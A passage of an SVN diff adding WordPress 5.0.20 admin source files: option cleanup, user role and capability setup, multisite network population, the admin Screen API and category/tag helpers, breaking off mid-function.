+	foreach ( $options as $option => $value ) {
+		if ( in_array($option, $existing_options) )
+			continue;
+		if ( in_array($option, $fat_options) )
+			$autoload = 'no';
+		else
+			$autoload = 'yes';
+
+		if ( is_array($value) )
+			$value = serialize($value);
+		if ( !empty($insert) )
+			$insert .= ', ';
+		$insert .= $wpdb->prepare( "(%s, %s, %s)", $option, $value, $autoload );
+	}
+
+	if ( !empty($insert) )
+		$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES " . $insert);
+
+	// In case it is set, but blank, update "home".
+	if ( !__get_option('home') ) update_option('home', $guessurl);
+
+	// Delete unused options.
+	$unusedoptions = array(
+		'blodotgsping_url', 'bodyterminator', 'emailtestonly', 'phoneemail_separator', 'smilies_directory',
+		'subjectprefix', 'use_bbcode', 'use_blodotgsping', 'use_phoneemail', 'use_quicktags', 'use_weblogsping',
+		'weblogs_cache_file', 'use_preview', 'use_htmltrans', 'smilies_directory', 'fileupload_allowedusers',
+		'use_phoneemail', 'default_post_status', 'default_post_category', 'archive_mode', 'time_difference',
+		'links_minadminlevel', 'links_use_adminlevels', 'links_rating_type', 'links_rating_char',
+		'links_rating_ignore_zero', 'links_rating_single_image', 'links_rating_image0', 'links_rating_image1',
+		'links_rating_image2', 'links_rating_image3', 'links_rating_image4', 'links_rating_image5',
+		'links_rating_image6', 'links_rating_image7', 'links_rating_image8', 'links_rating_image9',
+		'links_recently_updated_time', 'links_recently_updated_prepend', 'links_recently_updated_append',
+		'weblogs_cacheminutes', 'comment_allowed_tags', 'search_engine_friendly_urls', 'default_geourl_lat',
+		'default_geourl_lon', 'use_default_geourl', 'weblogs_xml_url', 'new_users_can_blog', '_wpnonce',
+		'_wp_http_referer', 'Update', 'action', 'rich_editing', 'autosave_interval', 'deactivated_plugins',
+		'can_compress_scripts', 'page_uris', 'update_core', 'update_plugins', 'update_themes', 'doing_cron',
+		'random_seed', 'rss_excerpt_length', 'secret', 'use_linksupdate', 'default_comment_status_page',
+		'wporg_popular_tags', 'what_to_show', 'rss_language', 'language', 'enable_xmlrpc', 'enable_app',
+		'embed_autourls', 'default_post_edit_rows', 'gzipcompression', 'advanced_edit'
+	);
+	foreach ( $unusedoptions as $option )
+		delete_option($option);
+
+	// Delete obsolete magpie stuff.
+	$wpdb->query("DELETE FROM $wpdb->options WHERE option_name REGEXP '^rss_[0-9a-f]{32}(_ts)?$'");
+
+	// Clear expired transients
+	delete_expired_transients( true );
+}
+
+/**
+ * Execute WordPress role creation for the various WordPress versions.
+ *
+ * @since 2.0.0
+ */
+function populate_roles() {
+	populate_roles_160();
+	populate_roles_210();
+	populate_roles_230();
+	populate_roles_250();
+	populate_roles_260();
+	populate_roles_270();
+	populate_roles_280();
+	populate_roles_300();
+}
+
+/**
+ * Create the roles for WordPress 2.0
+ *
+ * @since 2.0.0
+ */
+function populate_roles_160() {
+	// Add roles
+
+	// Dummy gettext calls to get strings in the catalog.
+	/* translators: user role */
+	_x('Administrator', 'User role');
+	/* translators: user role */
+	_x('Editor', 'User role');
+	/* translators: user role */
+	_x('Author', 'User role');
+	/* translators: user role */
+	_x('Contributor', 'User role');
+	/* translators: user role */
+	_x('Subscriber', 'User role');
+
+	add_role('administrator', 'Administrator');
+	add_role('editor', 'Editor');
+	add_role('author', 'Author');
+	add_role('contributor', 'Contributor');
+	add_role('subscriber', 'Subscriber');
+
+	// Add caps for Administrator role
+	$role = get_role('administrator');
+	$role->add_cap('switch_themes');
+	$role->add_cap('edit_themes');
+	$role->add_cap('activate_plugins');
+	$role->add_cap('edit_plugins');
+	$role->add_cap('edit_users');
+	$role->add_cap('edit_files');
+	$role->add_cap('manage_options');
+	$role->add_cap('moderate_comments');
+	$role->add_cap('manage_categories');
+	$role->add_cap('manage_links');
+	$role->add_cap('upload_files');
+	$role->add_cap('import');
+	$role->add_cap('unfiltered_html');
+	$role->add_cap('edit_posts');
+	$role->add_cap('edit_others_posts');
+	$role->add_cap('edit_published_posts');
+	$role->add_cap('publish_posts');
+	$role->add_cap('edit_pages');
+	$role->add_cap('read');
+	$role->add_cap('level_10');
+	$role->add_cap('level_9');
+	$role->add_cap('level_8');
+	$role->add_cap('level_7');
+	$role->add_cap('level_6');
+	$role->add_cap('level_5');
+	$role->add_cap('level_4');
+	$role->add_cap('level_3');
+	$role->add_cap('level_2');
+	$role->add_cap('level_1');
+	$role->add_cap('level_0');
+
+	// Add caps for Editor role
+	$role = get_role('editor');
+	$role->add_cap('moderate_comments');
+	$role->add_cap('manage_categories');
+	$role->add_cap('manage_links');
+	$role->add_cap('upload_files');
+	$role->add_cap('unfiltered_html');
+	$role->add_cap('edit_posts');
+	$role->add_cap('edit_others_posts');
+	$role->add_cap('edit_published_posts');
+	$role->add_cap('publish_posts');
+	$role->add_cap('edit_pages');
+	$role->add_cap('read');
+	$role->add_cap('level_7');
+	$role->add_cap('level_6');
+	$role->add_cap('level_5');
+	$role->add_cap('level_4');
+	$role->add_cap('level_3');
+	$role->add_cap('level_2');
+	$role->add_cap('level_1');
+	$role->add_cap('level_0');
+
+	// Add caps for Author role
+	$role = get_role('author');
+	$role->add_cap('upload_files');
+	$role->add_cap('edit_posts');
+	$role->add_cap('edit_published_posts');
+	$role->add_cap('publish_posts');
+	$role->add_cap('read');
+	$role->add_cap('level_2');
+	$role->add_cap('level_1');
+	$role->add_cap('level_0');
+
+	// Add caps for Contributor role
+	$role = get_role('contributor');
+	$role->add_cap('edit_posts');
+	$role->add_cap('read');
+	$role->add_cap('level_1');
+	$role->add_cap('level_0');
+
+	// Add caps for Subscriber role
+	$role = get_role('subscriber');
+	$role->add_cap('read');
+	$role->add_cap('level_0');
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.1.
+ *
+ * @since 2.1.0
+ */
+function populate_roles_210() {
+	$roles = array('administrator', 'editor');
+	foreach ($roles as $role) {
+		$role = get_role($role);
+		if ( empty($role) )
+			continue;
+
+		$role->add_cap('edit_others_pages');
+		$role->add_cap('edit_published_pages');
+		$role->add_cap('publish_pages');
+		$role->add_cap('delete_pages');
+		$role->add_cap('delete_others_pages');
+		$role->add_cap('delete_published_pages');
+		$role->add_cap('delete_posts');
+		$role->add_cap('delete_others_posts');
+		$role->add_cap('delete_published_posts');
+		$role->add_cap('delete_private_posts');
+		$role->add_cap('edit_private_posts');
+		$role->add_cap('read_private_posts');
+		$role->add_cap('delete_private_pages');
+		$role->add_cap('edit_private_pages');
+		$role->add_cap('read_private_pages');
+	}
+
+	$role = get_role('administrator');
+	if ( ! empty($role) ) {
+		$role->add_cap('delete_users');
+		$role->add_cap('create_users');
+	}
+
+	$role = get_role('author');
+	if ( ! empty($role) ) {
+		$role->add_cap('delete_posts');
+		$role->add_cap('delete_published_posts');
+	}
+
+	$role = get_role('contributor');
+	if ( ! empty($role) ) {
+		$role->add_cap('delete_posts');
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.3.
+ *
+ * @since 2.3.0
+ */
+function populate_roles_230() {
+	$role = get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'unfiltered_upload' );
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.5.
+ *
+ * @since 2.5.0
+ */
+function populate_roles_250() {
+	$role = get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'edit_dashboard' );
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.6.
+ *
+ * @since 2.6.0
+ */
+function populate_roles_260() {
+	$role = get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'update_plugins' );
+		$role->add_cap( 'delete_plugins' );
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.7.
+ *
+ * @since 2.7.0
+ */
+function populate_roles_270() {
+	$role = get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'install_plugins' );
+		$role->add_cap( 'update_themes' );
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.8.
+ *
+ * @since 2.8.0
+ */
+function populate_roles_280() {
+	$role = get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'install_themes' );
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 3.0.
+ *
+ * @since 3.0.0
+ */
+function populate_roles_300() {
+	$role = get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'update_core' );
+		$role->add_cap( 'list_users' );
+		$role->add_cap( 'remove_users' );
+		$role->add_cap( 'promote_users' );
+		$role->add_cap( 'edit_theme_options' );
+		$role->add_cap( 'delete_themes' );
+		$role->add_cap( 'export' );
+	}
+}
+
+if ( !function_exists( 'install_network' ) ) :
+/**
+ * Install Network.
+ *
+ * @since 3.0.0
+ */
+function install_network() {
+	if ( ! defined( 'WP_INSTALLING_NETWORK' ) )
+		define( 'WP_INSTALLING_NETWORK', true );
+
+	dbDelta( wp_get_db_schema( 'global' ) );
+}
+endif;
+
+/**
+ * Populate network settings.
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb       $wpdb
+ * @global object     $current_site
+ * @global int        $wp_db_version
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param int    $network_id        ID of network to populate.
+ * @param string $domain            The domain name for the network (eg. "example.com").
+ * @param string $email             Email address for the network administrator.
+ * @param string $site_name         The name of the network.
+ * @param string $path              Optional. The path to append to the network's domain name. Default '/'.
+ * @param bool   $subdomain_install Optional. Whether the network is a subdomain installation or a subdirectory installation.
+ *                                  Default false, meaning the network is a subdirectory installation.
+ * @return bool|WP_Error True on success, or WP_Error on warning (with the installation otherwise successful,
+ *                       so the error code must be checked) or failure.
+ */
+function populate_network( $network_id = 1, $domain = '', $email = '', $site_name = '', $path = '/', $subdomain_install = false ) {
+	global $wpdb, $current_site, $wp_db_version, $wp_rewrite;
+
+	$errors = new WP_Error();
+	if ( '' == $domain )
+		$errors->add( 'empty_domain', __( 'You must provide a domain name.' ) );
+	if ( '' == $site_name )
+		$errors->add( 'empty_sitename', __( 'You must provide a name for your network of sites.' ) );
+
+	// Check for network collision.
+	$network_exists = false;
+	if ( is_multisite() ) {
+		if ( get_network( (int) $network_id ) ) {
+			$errors->add( 'siteid_exists', __( 'The network already exists.' ) );
+		}
+	} else {
+		if ( $network_id == $wpdb->get_var( $wpdb->prepare( "SELECT id FROM $wpdb->site WHERE id = %d", $network_id ) ) ) {
+			$errors->add( 'siteid_exists', __( 'The network already exists.' ) );
+		}
+	}
+
+	if ( ! is_email( $email ) )
+		$errors->add( 'invalid_email', __( 'You must provide a valid email address.' ) );
+
+	if ( $errors->get_error_code() )
+		return $errors;
+
+	// If a user with the provided email does not exist, default to the current user as the new network admin.
+	$site_user = get_user_by( 'email', $email );
+	if ( false === $site_user ) {
+		$site_user = wp_get_current_user();
+	}
+
+	// Set up site tables.
+	$template = get_option( 'template' );
+	$stylesheet = get_option( 'stylesheet' );
+	$allowed_themes = array( $stylesheet => true );
+
+	if ( $template != $stylesheet ) {
+		$allowed_themes[ $template ] = true;
+	}
+
+	if ( WP_DEFAULT_THEME != $stylesheet && WP_DEFAULT_THEME != $template ) {
+		$allowed_themes[ WP_DEFAULT_THEME ] = true;
+	}
+
+	// If WP_DEFAULT_THEME doesn't exist, also whitelist the latest core default theme.
+	if ( ! wp_get_theme( WP_DEFAULT_THEME )->exists() ) {
+		if ( $core_default = WP_Theme::get_core_default_theme() ) {
+			$allowed_themes[ $core_default->get_stylesheet() ] = true;
+		}
+	}
+
+	if ( 1 == $network_id ) {
+		$wpdb->insert( $wpdb->site, array( 'domain' => $domain, 'path' => $path ) );
+		$network_id = $wpdb->insert_id;
+	} else {
+		$wpdb->insert( $wpdb->site, array( 'domain' => $domain, 'path' => $path, 'id' => $network_id ) );
+	}
+
+	wp_cache_delete( 'networks_have_paths', 'site-options' );
+
+	if ( !is_multisite() ) {
+		$site_admins = array( $site_user->user_login );
+		$users = get_users( array(
+			'fields' => array( 'user_login' ),
+			'role'   => 'administrator',
+		) );
+		if ( $users ) {
+			foreach ( $users as $user ) {
+				$site_admins[] = $user->user_login;
+			}
+
+			$site_admins = array_unique( $site_admins );
+		}
+	} else {
+		$site_admins = get_site_option( 'site_admins' );
+	}
+
+	/* translators: Do not translate USERNAME, SITE_NAME, BLOG_URL, PASSWORD: those are placeholders. */
+	$welcome_email = __( 'Howdy USERNAME,
+
+Your new SITE_NAME site has been successfully set up at:
+BLOG_URL
+
+You can log in to the administrator account with the following information:
+
+Username: USERNAME
+Password: PASSWORD
+Log in here: BLOG_URLwp-login.php
+
+We hope you enjoy your new site. Thanks!
+
+--The Team @ SITE_NAME' );
+
+	$misc_exts = array(
+		// Images.
+		'jpg', 'jpeg', 'png', 'gif',
+		// Video.
+		'mov', 'avi', 'mpg', '3gp', '3g2',
+		// "audio".
+		'midi', 'mid',
+		// Miscellaneous.
+		'pdf', 'doc', 'ppt', 'odt', 'pptx', 'docx', 'pps', 'ppsx', 'xls', 'xlsx', 'key',
+	);
+	$audio_exts = wp_get_audio_extensions();
+	$video_exts = wp_get_video_extensions();
+	$upload_filetypes = array_unique( array_merge( $misc_exts, $audio_exts, $video_exts ) );
+
+	$sitemeta = array(
+		'site_name' => $site_name,
+		'admin_email' => $email,
+		'admin_user_id' => $site_user->ID,
+		'registration' => 'none',
+		'upload_filetypes' => implode( ' ', $upload_filetypes ),
+		'blog_upload_space' => 100,
+		'fileupload_maxk' => 1500,
+		'site_admins' => $site_admins,
+		'allowedthemes' => $allowed_themes,
+		'illegal_names' => array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator', 'files' ),
+		'wpmu_upgrade_site' => $wp_db_version,
+		'welcome_email' => $welcome_email,
+		/* translators: %s: site link */
+		'first_post' => __( 'Welcome to %s. This is your first post. Edit or delete it, then start blogging!' ),
+		// @todo - network admins should have a method of editing the network siteurl (used for cookie hash)
+		'siteurl' => get_option( 'siteurl' ) . '/',
+		'add_new_users' => '0',
+		'upload_space_check_disabled' => is_multisite() ? get_site_option( 'upload_space_check_disabled' ) : '1',
+		'subdomain_install' => intval( $subdomain_install ),
+		'global_terms_enabled' => global_terms_enabled() ? '1' : '0',
+		'ms_files_rewriting' => is_multisite() ? get_site_option( 'ms_files_rewriting' ) : '0',
+		'initial_db_version' => get_option( 'initial_db_version' ),
+		'active_sitewide_plugins' => array(),
+		'WPLANG' => get_locale(),
+	);
+	if ( ! $subdomain_install )
+		$sitemeta['illegal_names'][] = 'blog';
+
+	/**
+	 * Filters meta for a network on creation.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param array $sitemeta   Associative array of network meta keys and values to be inserted.
+	 * @param int   $network_id ID of network to populate.
+	 */
+	$sitemeta = apply_filters( 'populate_network_meta', $sitemeta, $network_id );
+
+	$insert = '';
+	foreach ( $sitemeta as $meta_key => $meta_value ) {
+		if ( is_array( $meta_value ) )
+			$meta_value = serialize( $meta_value );
+		if ( !empty( $insert ) )
+			$insert .= ', ';
+		$insert .= $wpdb->prepare( "( %d, %s, %s)", $network_id, $meta_key, $meta_value );
+	}
+	$wpdb->query( "INSERT INTO $wpdb->sitemeta ( site_id, meta_key, meta_value ) VALUES " . $insert );
+
+	/*
+	 * When upgrading from single to multisite, assume the current site will
+	 * become the main site of the network. When using populate_network()
+	 * to create another network in an existing multisite environment, skip
+	 * these steps since the main site of the new network has not yet been
+	 * created.
+	 */
+	if ( ! is_multisite() ) {
+		$current_site = new stdClass;
+		$current_site->domain = $domain;
+		$current_site->path = $path;
+		$current_site->site_name = ucfirst( $domain );
+		$wpdb->insert( $wpdb->blogs, array( 'site_id' => $network_id, 'blog_id' => 1, 'domain' => $domain, 'path' => $path, 'registered' => current_time( 'mysql' ) ) );
+		$current_site->blog_id = $blog_id = $wpdb->insert_id;
+		update_user_meta( $site_user->ID, 'source_domain', $domain );
+		update_user_meta( $site_user->ID, 'primary_blog', $blog_id );
+
+		if ( $subdomain_install )
+			$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+		else
+			$wp_rewrite->set_permalink_structure( '/blog/%year%/%monthnum%/%day%/%postname%/' );
+
+		flush_rewrite_rules();
+
+		if ( ! $subdomain_install )
+			return true;
+
+		$vhost_ok = false;
+		$errstr = '';
+		$hostname = substr( md5( time() ), 0, 6 ) . '.' . $domain; // Very random hostname!
+		$page = wp_remote_get( 'http://' . $hostname, array( 'timeout' => 5, 'httpversion' => '1.1' ) );
+		if ( is_wp_error( $page ) )
+			$errstr = $page->get_error_message();
+		elseif ( 200 == wp_remote_retrieve_response_code( $page ) )
+				$vhost_ok = true;
+
+		if ( ! $vhost_ok ) {
+			$msg = '<p><strong>' . __( 'Warning! Wildcard DNS may not be configured correctly!' ) . '</strong></p>';
+
+			$msg .= '<p>' . sprintf(
+				/* translators: %s: host name */
+				__( 'The installer attempted to contact a random hostname (%s) on your domain.' ),
+				'<code>' . $hostname . '</code>'
+			);
+			if ( ! empty ( $errstr ) ) {
+				/* translators: %s: error message */
+				$msg .= ' ' . sprintf( __( 'This resulted in an error message: %s' ), '<code>' . $errstr . '</code>' );
+			}
+			$msg .= '</p>';
+
+			$msg .= '<p>' . sprintf(
+				/* translators: %s: asterisk symbol (*) */
+				__( 'To use a subdomain configuration, you must have a wildcard entry in your DNS. This usually means adding a %s hostname record pointing at your web server in your DNS configuration tool.' ),
+				'<code>*</code>'
+			) . '</p>';
+
+			$msg .= '<p>' . __( 'You can still use your site but any subdomain you create may not be accessible. If you know your DNS is correct, ignore this message.' ) . '</p>';
+
+			return new WP_Error( 'no_wildcard_dns', $msg );
+		}
+	}
+
+	return true;
+}
Index: /tags/5.0.20/src/wp-admin/includes/screen.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/screen.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/screen.php	(revision 56912)
@@ -0,0 +1,233 @@
+<?php
+/**
+ * WordPress Administration Screen API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Get the column headers for a screen
+ *
+ * @since 2.7.0
+ *
+ * @staticvar array $column_headers
+ *
+ * @param string|WP_Screen $screen The screen you want the headers for
+ * @return array Containing the headers in the format id => UI String
+ */
+function get_column_headers( $screen ) {
+	if ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	static $column_headers = array();
+
+	if ( ! isset( $column_headers[ $screen->id ] ) ) {
+
+		/**
+		 * Filters the column headers for a list table on a specific screen.
+		 *
+		 * The dynamic portion of the hook name, `$screen->id`, refers to the
+		 * ID of a specific screen. For example, the screen ID for the Posts
+		 * list table is edit-post, so the filter for that screen would be
+		 * manage_edit-post_columns.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $columns An array of column headers. Default empty.
+		 */
+		$column_headers[ $screen->id ] = apply_filters( "manage_{$screen->id}_columns", array() );
+	}
+
+	return $column_headers[ $screen->id ];
+}
+
+/**
+ * Get a list of hidden columns.
+ *
+ * @since 2.7.0
+ *
+ * @param string|WP_Screen $screen The screen you want the hidden columns for
+ * @return array
+ */
+function get_hidden_columns( $screen ) {
+	if ( is_string( $screen ) ) {
+		$screen = convert_to_screen( $screen );
+	}
+
+	$hidden = get_user_option( 'manage' . $screen->id . 'columnshidden' );
+
+	$use_defaults = ! is_array( $hidden );
+
+	if ( $use_defaults ) {
+		$hidden = array();
+
+		/**
+		 * Filters the default list of hidden columns.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array     $hidden An array of columns hidden by default.
+		 * @param WP_Screen $screen WP_Screen object of the current screen.
+		 */
+		$hidden = apply_filters( 'default_hidden_columns', $hidden, $screen );
+	}
+
+	/**
+	 * Filters the list of hidden columns.
+	 *
+	 * @since 4.4.0
+	 * @since 4.4.1 Added the `use_defaults` parameter.
+	 *
+	 * @param array     $hidden An array of hidden columns.
+	 * @param WP_Screen $screen WP_Screen object of the current screen.
+	 * @param bool      $use_defaults Whether to show the default columns.
+	 */
+	return apply_filters( 'hidden_columns', $hidden, $screen, $use_defaults );
+}
+
+/**
+ * Prints the meta box preferences for screen meta.
+ *
+ * @since 2.7.0
+ *
+ * @global array $wp_meta_boxes
+ *
+ * @param WP_Screen $screen
+ */
+function meta_box_prefs( $screen ) {
+	global $wp_meta_boxes;
+
+	if ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	if ( empty($wp_meta_boxes[$screen->id]) )
+		return;
+
+	$hidden = get_hidden_meta_boxes($screen);
+
+	foreach ( array_keys( $wp_meta_boxes[ $screen->id ] ) as $context ) {
+		foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) {
+			if ( ! isset( $wp_meta_boxes[ $screen->id ][ $context ][ $priority ] ) ) {
+				continue;
+			}
+			foreach ( $wp_meta_boxes[ $screen->id ][ $context ][ $priority ] as $box ) {
+				if ( false == $box || ! $box['title'] )
+					continue;
+				// Submit box cannot be hidden
+				if ( 'submitdiv' == $box['id'] || 'linksubmitdiv' == $box['id'] )
+					continue;
+
+				$widget_title = $box['title'];
+
+				if ( is_array( $box['args'] ) && isset( $box['args']['__widget_basename'] ) ) {
+					$widget_title = $box['args']['__widget_basename'];
+				}
+
+				printf(
+					'<label for="%1$s-hide"><input class="hide-postbox-tog" name="%1$s-hide" type="checkbox" id="%1$s-hide" value="%1$s" %2$s />%3$s</label>',
+					esc_attr( $box['id'] ),
+					checked( in_array( $box['id'], $hidden ), false, false ),
+					$widget_title
+				);
+			}
+		}
+	}
+}
+
+/**
+ * Get Hidden Meta Boxes
+ *
+ * @since 2.7.0
+ *
+ * @param string|WP_Screen $screen Screen identifier
+ * @return array Hidden Meta Boxes
+ */
+function get_hidden_meta_boxes( $screen ) {
+	if ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	$hidden = get_user_option( "metaboxhidden_{$screen->id}" );
+
+	$use_defaults = ! is_array( $hidden );
+
+	// Hide slug boxes by default
+	if ( $use_defaults ) {
+		$hidden = array();
+		if ( 'post' == $screen->base ) {
+			if ( 'post' == $screen->post_type || 'page' == $screen->post_type || 'attachment' == $screen->post_type )
+				$hidden = array('slugdiv', 'trackbacksdiv', 'postcustom', 'postexcerpt', 'commentstatusdiv', 'commentsdiv', 'authordiv', 'revisionsdiv');
+			else
+				$hidden = array( 'slugdiv' );
+		}
+
+		/**
+		 * Filters the default list of hidden meta boxes.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array     $hidden An array of meta boxes hidden by default.
+		 * @param WP_Screen $screen WP_Screen object of the current screen.
+		 */
+		$hidden = apply_filters( 'default_hidden_meta_boxes', $hidden, $screen );
+	}
+
+	/**
+	 * Filters the list of hidden meta boxes.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param array     $hidden       An array of hidden meta boxes.
+	 * @param WP_Screen $screen       WP_Screen object of the current screen.
+	 * @param bool      $use_defaults Whether to show the default meta boxes.
+	 *                                Default true.
+	 */
+	return apply_filters( 'hidden_meta_boxes', $hidden, $screen, $use_defaults );
+}
+
+/**
+ * Register and configure an admin screen option
+ *
+ * @since 3.1.0
+ *
+ * @param string $option An option name.
+ * @param mixed $args Option-dependent arguments.
+ */
+function add_screen_option( $option, $args = array() ) {
+	$current_screen = get_current_screen();
+
+	if ( ! $current_screen )
+		return;
+
+	$current_screen->add_option( $option, $args );
+}
+
+/**
+ * Get the current screen object
+ *
+ * @since 3.1.0
+ *
+ * @global WP_Screen $current_screen
+ *
+ * @return WP_Screen|null Current screen object or null when screen not defined.
+ */
+function get_current_screen() {
+	global $current_screen;
+
+	if ( ! isset( $current_screen ) )
+		return null;
+
+	return $current_screen;
+}
+
+/**
+ * Set the current screen object
+ *
+ * @since 3.0.0
+ *
+ * @param mixed $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen,
+ *	                       or an existing screen object.
+ */
+function set_current_screen( $hook_name = '' ) {
+	WP_Screen::get( $hook_name )->set_current_screen();
+}
Index: /tags/5.0.20/src/wp-admin/includes/taxonomy.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/taxonomy.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/taxonomy.php	(revision 56912)
@@ -0,0 +1,290 @@
+<?php
+/**
+ * WordPress Taxonomy Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+//
+// Category
+//
+
+/**
+ * Check whether a category exists.
+ *
+ * @since 2.0.0
+ *
+ * @see term_exists()
+ *
+ * @param int|string $cat_name Category name.
+ * @param int        $parent   Optional. ID of parent term.
+ * @return mixed
+ */
+function category_exists( $cat_name, $parent = null ) {
+	$id = term_exists($cat_name, 'category', $parent);
+	if ( is_array($id) )
+		$id = $id['term_id'];
+	return $id;
+}
+
+/**
+ * Get category object for given ID and 'edit' filter context.
+ *
+ * @since 2.0.0
+ *
+ * @param int $id
+ * @return object
+ */
+function get_category_to_edit( $id ) {
+	$category = get_term( $id, 'category', OBJECT, 'edit' );
+	_make_cat_compat( $category );
+	return $category;
+}
+
+/**
+ * Add a new category to the database if it does not already exist.
+ *
+ * @since 2.0.0
+ *
+ * @param int|string $cat_name
+ * @param int        $parent
+ * @return int|WP_Error
+ */
+function wp_create_category( $cat_name, $parent = 0 ) {
+	if ( $id = category_exists($cat_name, $parent) )
+		return $id;
+
+	return wp_insert_category( array('cat_name' => $cat_name, 'category_parent' => $parent) );
+}
+
+/**
+ * Create categories for the given post.
+ *
+ * @since 2.0.0
+ *
+ * @param array $categories List of categories to create.
+ * @param int   $post_id    Optional. The post ID. Default empty.
+ * @return array List of categories to create for the given post.
+ */
+function wp_create_categories( $categories, $post_id = '' ) {
+	$cat_ids = array ();
+	foreach ( $categories as $category ) {
+		if ( $id = category_exists( $category ) ) {
+			$cat_ids[] = $id;
+		} elseif ( $id = wp_create_category( $category ) ) {
+			$cat_ids[] = $id;
+		}
+	}
+
+	if ( $post_id )
+		wp_set_post_categories($post_id, $cat_ids);
+
+	return $cat_ids;
+}
+
+/**
+ * Updates an existing Category or creates a new Category.
+ *
+ * @since 2.0.0
+ * @since 2.5.0 $wp_error parameter was added.
+ * @since 3.0.0 The 'taxonomy' argument was added.
+ *
+ * @param array $catarr {
+ *     Array of arguments for inserting a new category.
+ *
+ *     @type int        $cat_ID               Category ID. A non-zero value updates an existing category.
+ *                                            Default 0.
+ *     @type string     $taxonomy             Taxonomy slug. Default 'category'.
+ *     @type string     $cat_name             Category name. Default empty.
+ *     @type string     $category_description Category description. Default empty.
+ *     @type string     $category_nicename    Category nice (display) name. Default empty.
+ *     @type int|string $category_parent      Category parent ID. Default empty.
+ * }
+ * @param bool  $wp_error Optional. Default false.
+ * @return int|object The ID number of the new or updated Category on success. Zero or a WP_Error on failure,
+ *                    depending on param $wp_error.
+ */
+function wp_insert_category( $catarr, $wp_error = false ) {
+	$cat_defaults = array( 'cat_ID' => 0, 'taxonomy' => 'category', 'cat_name' => '', 'category_description' => '', 'category_nicename' => '', 'category_parent' => '' );
+	$catarr = wp_parse_args( $catarr, $cat_defaults );
+
+	if ( trim( $catarr['cat_name'] ) == '' ) {
+		if ( ! $wp_error ) {
+			return 0;
+		} else {
+			return new WP_Error( 'cat_name', __( 'You did not enter a category name.' ) );
+		}
+	}
+
+	$catarr['cat_ID'] = (int) $catarr['cat_ID'];
+
+	// Are we updating or creating?
+	$update = ! empty ( $catarr['cat_ID'] );
+
+	$name = $catarr['cat_name'];
+	$description = $catarr['category_description'];
+	$slug = $catarr['category_nicename'];
+	$parent = (int) $catarr['category_parent'];
+	if ( $parent < 0 ) {
+		$parent = 0;
+	}
+
+	if ( empty( $parent )
+		|| ! term_exists( $parent, $catarr['taxonomy'] )
+		|| ( $catarr['cat_ID'] && term_is_ancestor_of( $catarr['cat_ID'], $parent, $catarr['taxonomy'] ) ) ) {
+		$parent = 0;
+	}
+
+	$args = compact('name', 'slug', 'parent', 'description');
+
+	if ( $update ) {
+		$catarr['cat_ID'] = wp_update_term( $catarr['cat_ID'], $catarr['taxonomy'], $args );
+	} else {
+		$catarr['cat_ID'] = wp_insert_term( $catarr['cat_name'], $catarr['taxonomy'], $args );
+	}
+
+	if ( is_wp_error( $catarr['cat_ID'] ) ) {
+		if ( $wp_error ) {
+			return $catarr['cat_ID'];
+		} else {
+			return 0;
+		}
+	}
+	return $catarr['cat_ID']['term_id'];
+}
+
+/**
+ * Aliases wp_insert_category() with minimal args.
+ *
+ * If you want to update only some fields of an existing category, call this
+ * function with only the new values set inside $catarr.
+ *
+ * @since 2.0.0
+ *
+ * @param array $catarr The 'cat_ID' value is required. All other keys are optional.
+ * @return int|bool The ID number of the new or updated Category on success. Zero or FALSE on failure.
+ */
+function wp_update_category($catarr) {
+	$cat_ID = (int) $catarr['cat_ID'];
+
+	if ( isset($catarr['category_parent']) && ($cat_ID == $catarr['category_parent']) )
+		return false;
+
+	// First, get all of the original fields
+	$category = get_term( $cat_ID, 'category', ARRAY_A );
+	_make_cat_compat( $category );
+
+	// Escape data pulled from DB.
+	$category = wp_slash($category);
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$catarr = array_merge($category, $catarr);
+
+	return wp_insert_category($catarr);
+}
+
+//
+// Tags
+//
+
+/**
+ * Check whether a post tag with a given name exists.
+ *
+ * @since 2.3.0
+ *
+ * @param int|string $tag_name
+ * @return mixed
+ */
+function tag_exists($tag_name) {
+	return term_exists($tag_name, 'post_tag');
+}
+
+/**
+ * Add a new tag to the database if it does not already exist.
+ *
+ * @since 2.3.0
+ *
+ * @param int|string $tag_name
+ * @return array|WP_Error
+ */
+function wp_create_tag($tag_name) {
+	return wp_create_term( $tag_name, 'post_tag');
+}
+
+/**
+ * Get comma-separated list of tags available to edit.
+ *
+ * @since 2.3.0
+ *
+ * @param int    $post_id
